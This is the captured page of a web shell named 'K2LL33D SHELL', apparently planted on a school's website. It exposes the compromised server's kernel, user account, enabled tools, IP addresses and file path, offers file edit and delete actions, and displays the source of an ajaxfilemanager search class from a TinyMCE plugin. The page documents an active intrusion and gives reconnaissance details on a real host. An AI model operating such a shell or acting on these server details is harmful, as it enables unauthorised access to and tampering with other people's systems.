K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / var / www / html / sman1baleendah_sch_id / tiny_mce / plugins / ajaxfilemanager / inc /
server ip : 104.21.89.46

your ip : 172.69.130.117

H O M E


Filename/var/www/html/sman1baleendah_sch_id/tiny_mce/plugins/ajaxfilemanager/inc/class.search.php
Size4.99 kb
Permissionrwxr-xr-x
Ownerroot : root
Create time11-Jun-2025 21:32
Last modified11-Jun-2025 21:32
Last accessed06-Jul-2025 01:12
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
include_once(CLASS_FILE);
require_once(CLASS_SESSION_ACTION);
require_once(CLASS_MANAGER);
class Search
{
var $rootFolder = '';
var $files = array();
var $rootFolderInfo = array();
var $searchkeywords = array(
'mtime_from'=>'',
'mtime_to'=>'',
'name'=>'',
'size_from'=>'',
'size_to'=>'',
'recursive'=>'0',

);
var $sessionAction = null;
/**
* constructor
*
* @param string $rootFolder
*/
function __construct($rootFolder)
{
$this->rootFolder = $rootFolder;
$this->sessionAction = new SessionAction();
$objRootFolder = new file($this->rootFolder);
$tem = $objRootFolder->getFileInfo();
$obj = new manager($this->rootFolder, false);
$obj->setSessionAction($this->sessionAction);
$selectedDocuments = $this->sessionAction->get();
$fileType = $obj->getFolderInfo($this->rootFolder);

foreach($fileType as $k=>$v)
{
$tem[$k] = $v;
}

$tem['path'] = backslashToSlash($this->rootFolder);
$tem['type'] = (is_dir($this->rootFolder)?'folder':'file');
$tem['size'] = (is_dir($this->rootFolder)?'':transformFileSize(@filesize($this->rootFolder)));
//$tem['ctime'] = date(DATE_TIME_FORMAT, $tem['ctime']);
//$tem['mtime'] = date(DATE_TIME_FORMAT, $tem['mtime']);
$tem['flag'] = (array_search($tem['path'], $selectedDocuments) !== false?($this->sessionAction->getAction() == "copy"?'copyFlag':'cutFlag'):'noFlag');
$tem['url'] = getFileUrl($this->rootFolder);
$tem['friendly_path'] = transformFilePath($this->rootFolder);
$tem['file'] = 0;
$tem['subdir'] = 0;
$manager = null;
$this->rootFolderInfo = $tem;
$tem = null;
}



/**
* constructor
*
* @param string $rootFolder
*/
function Search($rootFolder)
{
$this->__construct($rootFolder);
}

/**
* change the search keyword individually
*
* @param string $key
* @param string $value
*/
function addSearchKeyword($key, $value)
{
$this->searchkeywords[$key] = $value;
}
/**
* change the search keywords
*
* @param array $keywords
*/
function addSearchKeywords($keywords)
{
foreach($this->searchkeywords as $k=>$v)
{
if(array_key_exists($k, $keywords) !== false)
{
$this->searchkeywords[$k] = $keywords[$k];
}
}
}
/**
* get the file according to the search keywords
*
*/
function doSearch($baseFolderPath = null)
{

$baseFolderPath = addTrailingSlash(backslashToSlash((is_null($baseFolderPath)?$this->rootFolder:$baseFolderPath)));

$dirHandler = @opendir($baseFolderPath);
if($dirHandler)
{
while(false !== ($file = readdir($dirHandler)))
{
if($file != '.' && $file != '..')
{
$path = $baseFolderPath . $file;
if(is_file($path))
{
$isValid = true;

$fileTime = @filemtime($path);
$fileSize = @filesize($path);
if($this->searchkeywords['name'] !== '' && @eregi($this->searchkeywords['name'], $file) === false)
{
$isValid = false;
}
if($this->searchkeywords['mtime_from'] != '' && $fileTime < @strtotime($this->searchkeywords['mtime_from']))
{
$isValid = false;
}
if($this->searchkeywords['mtime_to'] != '' && $fileTime > @strtotime($this->searchkeywords['mtime_to']))
{
$isValid = false;
}
if($this->searchkeywords['size_from'] != '' && $fileSize < @strtotime($this->searchkeywords['size_from']))
{
$isValid = false;
}
if($this->searchkeywords['size_to'] != '' && $fileSize > @strtotime($this->searchkeywords['size_to']))
{
$isValid = false;
}
if($isValid && isListingDocument($path))
{
$finalPath = $path;
$objFile = new file($finalPath);
$tem = $objFile->getFileInfo();
$obj = new manager($finalPath, false);
$obj->setSessionAction($this->sessionAction);
$selectedDocuments = $this->sessionAction->get();
$fileType = $obj->getFileType($finalPath);

foreach($fileType as $k=>$v)
{
$tem[$k] = $v;
}

$tem['path'] = backslashToSlash($finalPath);
$tem['type'] = (is_dir($finalPath)?'folder':'file');
/* $tem['size'] = transformFileSize($tem['size']);
$tem['ctime'] = date(DATE_TIME_FORMAT, $tem['ctime']);
$tem['mtime'] = date(DATE_TIME_FORMAT, $tem['mtime']);*/
$tem['flag'] = (array_search($tem['path'], $selectedDocuments) !== false?($this->sessionAction->getAction() == "copy"?'copyFlag':'cutFlag'):'noFlag');
$tem['url'] = getFileUrl($tem['path']);
$this->rootFolderInfo['file']++;
$manager = null;
$this->files[] = $tem;
$tem = null;
}
}elseif(is_dir($path) && $this->searchkeywords['recursive'])
{
$this->Search($baseFolderPath);
}
}
}
}

}

function getFoundFiles()
{
return $this->files;
}

function getRootFolderInfo()
{

return $this->rootFolderInfo;
}
}
?>